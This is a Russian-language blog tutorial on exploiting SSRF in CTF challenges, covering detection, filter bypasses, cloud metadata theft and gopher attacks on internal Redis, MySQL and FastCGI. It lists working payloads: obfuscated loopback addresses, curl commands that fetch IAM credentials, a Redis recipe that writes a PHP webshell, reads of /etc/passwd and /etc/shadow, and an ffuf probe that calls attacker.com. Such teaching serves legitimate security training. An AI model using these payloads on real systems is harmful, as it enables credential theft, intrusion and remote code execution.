Главная / Блог / SSRF уязвимость: как эксплуатировать в CTF-задачах

12 мин.00

SSRF уязвимость: как эксплуатировать в CTF-задачах

SSRF уязвимость: как эксплуатировать в CTF-задачах

SSRF стала первой по голосованию сообщества при формировании OWASP Top 10 2021 и заняла десятую строчку — A10:2021 Server-Side Request Forgery. По данным SonicWall (цитируемым в отчёте Vectra AI), количество SSRF-атак в 2024-м выросло на 452% год к году. Существенная часть роста — AI-инструменты автоматизации, которые опустили порог входа до «вбей URL и нажми кнопку». В CTF-тасках подделка запросов на сервере встречается стабильно: URL-previewer, PDF-генератор, webhook-обработчик — почти гарантированная точка входа. Ниже — пошаговый разбор того, как я нахожу и эксплуатирую SSRF в CTF: от обнаружения до вытаскивания флага через gopher к внутреннему Redis.

Поиск SSRF уязвимостей в CTF-тасках

SSRF в CTF не прячется — она заложена в логику задачи. Каждая функция, где приложение принимает URL от пользователя, — потенциальный вектор. В терминах MITRE ATT&CK это первая фаза Exploit Public-Facing Application (T1190, Initial Access): атакующий через веб-приложение заставляет сервер ходить по произвольным адресам. Подробнее — в нашем руководстве по создание ctf заданий.

URL-фетчеры и превью — классика CTF. Приложение принимает URL, делает к нему запрос и возвращает содержимое или генерирует скриншот. Параметры url=, page=, site=, fetch=, load= — первое, на что смотрю в HTTP-запросах через Burp Suite.

PDF/image-генераторы — менее очевидная, но частая точка входа. Если таск генерирует PDF по HTML-разметке (wkhtmltopdf, Puppeteer, WeasyPrint), инъекция тега <img src="http://internal-service/"> или <iframe> триггерит SSRF. Согласно PortSwigger, URLs within data formats — один из скрытых векторов, который регулярно пропускают.

Webhook-обработчики. Параметры callback_url, webhook, notify_url — приложение само отправляет запрос на указанный адрес. В CTF это маскируется под «уведомление» или «интеграцию».

Заголовки HTTP. Host, X-Forwarded-Host, X-Original-URL, Referer — менее очевидный вектор, но в CTF повышенной сложности встречается. По данным исследователей (цитируемым в материале codeby.net), SSRF через заголовок Host позволяла сканировать порты внутренней сети по разнице в статус-кодах ответа.

Импорт данных. Поля import_url, file_url, source= — приложение подтягивает данные из внешнего источника. В CTF это маскируется под «импорт конфигурации» или «загрузку шаблона».

На этапе разведки прогоняю весь трафик через Burp Suite и помечаю каждый параметр с URL-подобным значением. Для обнаружения скрытых параметров — ffuf -w params.txt -u "https://target/api/fetch?FUZZ=http://attacker.com" -fs 0. Фильтрация по размеру ответа выявляет параметры, невидимые в UI.

Отдельная категория — partial URLs. Некоторые приложения принимают не полный URL, а только hostname или путь. Полного контроля над запросом нет, но hostname достаточно для сканирования внутренней сети — а это уже Network Service Discovery (T1046, Discovery).

Подтверждение: блайнд SSRF и классические варианты

Обнаружив подозрительный параметр, первое действие — подтверждение. Три сценария.

Классическая SSRF (non-blind). Сервер возвращает содержимое ответа прямо в HTTP-response. Подставляю http://127.0.0.1/ — если в ответе вижу HTML внутреннего сервиса, уязвимость подтверждена. В CTF это самый частый случай: таск специально возвращает body ответа, чтобы можно было читать содержимое внутренних ресурсов. Пример из PortSwigger: приложение интернет-магазина проверяет наличие товара на складе через параметр stockApi=http://stock.weliketoshop.net:8080/... — подмена на stockApi=http://localhost/admin отдаёт содержимое админки.

Blind SSRF. Сервер выполняет запрос, но не возвращает ответ клиенту. Для подтверждения нужен OOB-канал — внешний сервер, фиксирующий входящее соединение. Стандартный подход: подставляю адрес Burp Collaborator или self-hosted interactsh (от ProjectDiscovery). DNS-lookup или HTTP-запрос пришёл — SSRF подтверждена, даже если ответ приложения не изменился.

Критический нюанс для CTF: даже если HTTP-трафик наружу заблокирован (частый приём организаторов), DNS-резолв почти всегда разрешён. Payload вида http://uniqueid.attacker-dns.com может не дойти как HTTP, но DNS-запрос зафиксируется. Этого достаточно.

Semi-blind техника (time-based). Если OOB-канал недоступен (изолированная среда CTF), отправляю запросы к разным портам localhost и измеряю время ответа. Открытый порт (скажем, http://127.0.0.1:6379 — Redis) вернёт ответ быстрее или с другим статус-кодом, чем закрытый (http://127.0.0.1:9999). Так определяю, какие сервисы живут на хосте.

Обход фильтров SSRF: от localhost bypass до DNS rebinding

В CTF редко бывает «голая» SSRF без фильтрации. Организаторы ставят блокировки — и задача в том, чтобы их обойти. Три категории обходов от простого к сложному.

SSRF localhost bypass: альтернативные IP-представления

Большинство защит — denylist на regex: блокируются 127.0.0.1, localhost, 10.x.x.x, 192.168.x.x. Подход обречён из-за множества альтернативных представлений одного адреса. Вот набор, который я использую на каждом CTF:

http://2130706433/          # decimal = 127.0.0.1
http://0x7f000001/          # hex = 127.0.0.1
http://0177.0.0.1/          # octal = 127.0.0.1
http://127.1/               # short-hand = 127.0.0.1
http://0/                   # = 0.0.0.0
http://[::1]/               # IPv6 loopback
http://[::ffff:127.0.0.1]/  # IPv6-mapped IPv4
http://127.127.127.127/     # весь 127.0.0.0/8 = loopback
http://0xa9fea9fe/          # hex = 169.254.169.254

Логика простая: фильтр проверяет строковое совпадение с 127.0.0.1, а 2130706433 — тот же адрес в decimal. Функция inet_aton() (в curl, Python requests на Linux через glibc) преобразует обе записи в один IP. Фильтр пропускает строку — HTTP-клиент резолвит в localhost. Аналогично для cloud metadata: decimal 2852039166 = 169.254.169.254. Эти представления перечислены в PayloadsAllTheThings (swisskyrepo) — держу его открытым на каждом CTF.

Дополнительные приёмы: URL-encoding. Если фильтр блокирует /admin, то http://127.0.0.1/%61dmin (single-encode) или http://127.0.0.1/%2561dmin (double-encode) могут пройти — зависит от того, декодирует ли фильтр URL перед проверкой. Enclosed alphanumeric-символы — ещё один вектор из PayloadsAllTheThings: http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com. Против наивных regex-проверок работает на ура.

SSRF через редиректы и обход whitelist

Whitelist-фильтры сложнее: приложение разрешает запросы только к определённым доменам. Два основных подхода.

Open Redirect. Если в приложении или на разрешённом домене есть open redirect, можно обмануть валидатор: фильтр видит разрешённый домен, пропускает запрос, а HTTP-клиент следует за редиректом на произвольный адрес. По данным PortSwigger, коды 307 и 308 сохраняют HTTP-метод и body после переадресации — для POST-based SSRF это критично.

Для CTF-тасков без собственного redirect-сервера работает утилита r3dir (Horlad/r3dir): https://307.r3dir.me/--to/?url=http://localhost отдаёт 307-редирект на localhost. Для metadata: https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me — 302 на http://169.254.169.254/latest/meta-data/. Интегрируется с Burp через Hackvertor-теги.

URL parsing discrepancies. Спецификация URL содержит фичи, которые парсеры обрабатывают по-разному. Ключевые трюки (PortSwigger): символ @ для подмены hostname (https://expected-host:fakepassword@evil-host), фрагмент # для ложного совпадения (https://evil-host#expected-host), DNS-иерархия (https://expected-host.evil-host). Комбинация этих техник ломает большинство whitelist-парсеров.

Парсинговая уязвимость особенно вкусная в Python: по данным PayloadsAllTheThings, строка http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ даёт три разных destination. urllib2 идёт на 1.1.1.1, requests редиректит на 2.2.2.2, urllib резолвит в 3.3.3.3. Если знаете, какая библиотека на бэкенде — подбираете payload под её парсер.

DNS rebinding и домены-обманки

DNS rebinding — техника, при которой домен чередует ответы между двумя IP. Первый DNS-запрос (на этапе валидации) возвращает «безопасный» IP, второй (на этапе реального запроса) — целевой внутренний адрес.

Сервис 1u.ms создаёт такие домены без инфраструктуры: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms. Первый nslookup отдаёт 1.2.3.4, следующий — 169.254.169.254. Фильтр видит легитимный внешний IP, HTTP-клиент получает metadata-эндпоинт.

Сервис nip.io работает проще: 127.0.0.1.nip.io резолвится в 127.0.0.1, anything.192.168.1.100.nip.io — в 192.168.1.100. Если фильтр проверяет «не является ли hostname IP-адресом», bypass.192.168.1.100.nip.io пройдёт — это доменное имя, не IP. Также spoofed.burpcollaborator.net зарегистрирован на 127.0.0.1.

Домен с TLD .localhost — по стандарту любой поддомен .localhost резолвится в loopback. На Linux payloadsallthethings.localhost = ::1 (IPv6 loopback).

SSRF cloud metadata эксплуатация: 169.254.169.254

Если CTF-таск развёрнут в облаке, SSRF открывает доступ к metadata-сервису — и это главный приз. В терминах MITRE ATT&CK — Cloud Instance Metadata API (T1552.005, Credential Access).

# AWS IMDSv1 — GET без аутентификации
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# GCP — требует заголовок Metadata-Flavor: Google
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/
# Azure — требует заголовок Metadata: true
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance"

AWS IMDSv1 — простой GET без аутентификации. Ответ на путь /latest/meta-data/iam/security-credentials/<role-name> содержит AccessKeyId, SecretAccessKey, SessionToken. Три значения — полный доступ к AWS-аккаунту в рамках роли. Вот так, одним GET-запросом.

IMDSv2 требует предварительный PUT для получения session token. Через типовой GET-only SSRF это не работает, но обходы через gopher:// или HTTP request smuggling возможны. На практике на многих EC2-инстансах до сих пор активен IMDSv1: если GET к http://169.254.169.254/latest/meta-data/ возвращает ответ — IMDSv1 работает. Проверяйте первым делом.

GCP и Azure требуют специфические заголовки, что затрудняет эксплуатацию — не каждый серверный HTTP-клиент позволяет устанавливать произвольные заголовки через пользовательский URL. Но если SSRF позволяет контролировать заголовки (через CRLF injection) — metadata доступен.

Масштаб угрозы в реальном мире: CVE-2025-61882 в Oracle E-Business Suite (CVSS 9.8 CRITICAL, вектор AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-287 Improper Authentication) — уязвимость в компоненте BI Publisher Integration, версии 12.2.3–12.2.14. CISA добавила её в каталог Known Exploited Vulnerabilities 06.10.2025 с дедлайном 27.10.2025. EPSS-оценка — 0.9973 (top 0.05% всех CVE). SSRF в цепочке с обходом аутентификации приводила к полному захвату Oracle Concurrent Processing. Из «читалки файлов» — в полную компрометацию enterprise-системы. Один запрос.

Доступ к внутренним сервисам через SSRF: gopher и протоколы

SSRF не ограничивается HTTP. Если серверный HTTP-клиент поддерживает другие протоколы, возможности расширяются кратно — это уже Exploitation of Remote Services (T1210, Lateral Movement).

file:// — чтение локальных файлов. file:///etc/passwd, file:///proc/self/environ (переменные окружения — часто содержат секреты), file:///app/flag.txt. Работает, если HTTP-клиент поддерживает scheme file://.

gopher:// — основное оружие для атак на внутренние сервисы. Gopher позволяет отправить произвольные TCP-данные — по сути raw TCP через URL. Типичные цели в CTF:

Redis (порт 6379). Через gopher отправляем команды CONFIG SET dir /var/www/html, CONFIG SET dbfilename shell.php, SET payload "<?php system($_GET['cmd']);?>", SAVE — и записываем webshell. Gopherus (tarunkant/Gopherus) генерирует готовые gopher-payloads для Redis, MySQL, FastCGI, SMTP. Архивный (последний коммит 2020), но gopher-формат стабилен — payloads работают.

MySQL (порт 3306). Если MySQL настроен на доступ без пароля для localhost (частый кейс в CTF), gopher-payload выполняет SQL-запрос напрямую.

FastCGI (порт 9000). Через gopher можно отправить FastCGI-запрос к PHP-FPM и выполнить произвольный PHP-код.

dict:// — простой способ отправить одну команду TCP-сервису. dict://127.0.0.1:6379/INFO отдаст информацию о Redis. Менее мощный, чем gopher, но работает, когда gopher заблокирован.

Бизнес-логика атаки: SSRF — не финальная цель, а трамплин. Один HTTP-запрос превращает внешнюю атаку во внутреннюю. Сервер уже за периметром, использует implicit trust — и этим злоупотребляют. Монетизация в реальных инцидентах идёт через кражу облачных credentials (доступ к S3-бакетам, базам данных), lateral movement и эксфильтрацию данных.

Эксплуатация SSRF пошагово: workflow и инструменты

Полный workflow решения CTF-таска с SSRF — от нуля до флага.

Шаг 1: Маппинг attack surface. Весь трафик через Burp Suite. Расширение Collaborator Everywhere автоматически подставляет Collaborator-адреса в заголовки Referer, X-Forwarded-For, Host каждого запроса. Если сервер обращается к любому из них — blind SSRF подтверждена без ручной работы. Wappalyzer определяет стек: Next.js, Sentry или SSO-интеграция часто содержат фичи, которые разработчики забывают отключить.

Шаг 2: Фаззинг параметров. Если явного URL-параметра нет, запускаю ffuf со словарём параметров. Фильтрую по размеру ответа — изменение размера означает, что параметр обработан бэкендом.

Шаг 3: Подтверждение и определение типа. Подставляю Collaborator / interactsh-адрес. HTTP-callback с body → классическая SSRF. DNS-callback без HTTP → DNS-only blind SSRF. Ни того, ни другого, но время ответа различается → time-based semi-blind.

Шаг 4: Обход фильтров. Payloads в порядке возрастания сложности: прямой IP → decimal/hex/octal → IPv6 → nip.io → DNS rebinding → open redirect → URL parsing tricks. Каждый неудачный payload даёт информацию о типе фильтра. Если приходит ошибка с текстом — анализирую её: «Invalid URL», «Host not allowed», «Connection refused» говорят о разных стадиях обработки.

Шаг 5: Сканирование внутренних сервисов. Подтвердив SSRF, сканирую стандартные порты localhost: 80, 8080, 3000, 5000 (web), 6379 (Redis), 9200 (Elasticsearch), 3306 (MySQL), 5432 (PostgreSQL), 27017 (MongoDB). В Kubernetes пробую http://kubernetes.default.svc — если отвечает, доступен API-сервер кластера. DNS-имена сервисов вроде http://redis-service:6379 — стандарт для k8s.

Шаг 6: Извлечение данных или escalation. В зависимости от обнаруженного: cloud metadata → credentials → доступ к облачным ресурсам; Redis → gopher-payload → webshell/RCE; внутренняя admin-панель → чтение флага; файловая система → file:///flag.txt или file:///proc/self/environ для секретов.

Арсенал инструментов: Burp Suite (Pro или Community + interactsh) — основной прокси, Collaborator для blind SSRF, Repeater для отладки payloads. SSRFmap (swisskyrepo/SSRFmap) — автоматический фаззер с модулями portscan, readfiles, redis, aws, gce; параметр --level автоматически применяет bypass-техники. Gopherus (tarunkant/Gopherus) — генератор gopher-payloads для Redis, MySQL, FastCGI. curl — ручная проверка: поддерживает gopher, file, dict из коробки. ipfuscator (dwisiswant0/ipfuscator) — генерация альтернативных представлений IP. r3dir (Horlad/r3dir) — redirect-сервис для обхода фильтров.

По SSRFmap отдельно: инструмент принимает файл с HTTP-запросом и уязвимый параметр — python3 ssrfmap.py -r request.txt -p url -m portscan. Модули readfiles скачивают /etc/passwd, /etc/shadow; aws/gce/digitalocean вытягивают cloud metadata. Модуль redis эксплуатирует Redis для получения shell. По концепции — «sqlmap для SSRF» (vaadata.com), и по ощущениям работает похоже.

Большинство CTF-writeups по SSRF сводятся к «подставил payload — получил флаг». Реальная сложность не в финальном payload, а в процессе его нахождения. Фильтры в современных тасках комбинируют denylist, whitelist и проверку DNS-resolve одновременно: сначала резолвят домен, проверяют IP и только потом делают запрос. Против такой защиты не работает ни nip.io, ни decimal IP — нужен DNS rebinding с правильным таймингом, и тут уже всё зависит от TTL-кэша DNS на сервере.

Ещё одна вещь, которую упускают: SSRF — не только про чтение. POST-based SSRF (когда HTTP-клиент поддерживает POST или PUT) превращает уязвимость в инструмент записи. Через gopher можно отправить POST внутреннему API, создать пользователя, изменить конфигурацию. В CTF это встречается реже, но в реальном пентесте — постоянно.

Тренд, который наблюдаю с 2021 года: организаторы CTF усложняют фильтры на HTTP-уровне, но забывают про протоколы. Блокируют http:// и https://, пропускают gopher://, file://, dict://. Первое действие после обнаружения фильтра — проверить поддержку альтернативных схем. Если хотя бы file:// работает — можно читать исходный код приложения и искать ключи или пароли в конфигах.

По моему опыту, основная ошибка тех, кто застревает на SSRF-тасках, — они пытаются обойти фильтр в лоб, перебирая IP-представления, вместо того чтобы переключиться на другой протокол или на другой уровень обхода. Методология важнее набора payloads: понимание того, что именно проверяет фильтр (строку, DNS-резолв, HTTP-ответ), определяет вектор обхода. Если хочешь не просто один writeup прочитать, а пройти всю атаку самому — на WAPT есть лаба именно с этим вектором и ментор в чате при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

JWT уязвимости в CTF: none, брутфорс и confusion

14 мин.

4

JWT уязвимости в CTF: none, брутфорс и confusion

5 атак на JWT в CTF: алгоритм none, брутфорс секрета hashcat, confusion RS256→HS256, kid-инъекция и JWK-спуфинг. Команды jwt_tool и чек-лист действий.

13 ОКТЯБРЬ, 2026

Linux для CTF: команды, права и поиск файлов

13 мин.

5

Linux для CTF: команды, права и поиск файлов

Enumeration, SUID, sudo, find, grep — пошаговый разбор базовых команд Linux для CTF. От получения шелла до root через privilege escalation на реальных примерах.

12 ОКТЯБРЬ, 2026

Стеганография CTF: steghide, zsteg и binwalk

13 мин.

8

Стеганография CTF: steghide, zsteg и binwalk

Пошаговый алгоритм решения stego-тасков в CTF: от определения формата до извлечения флага через zsteg, steghide, binwalk. Чеклист, команды, типичные ловушки.

12 ОКТЯБРЬ, 2026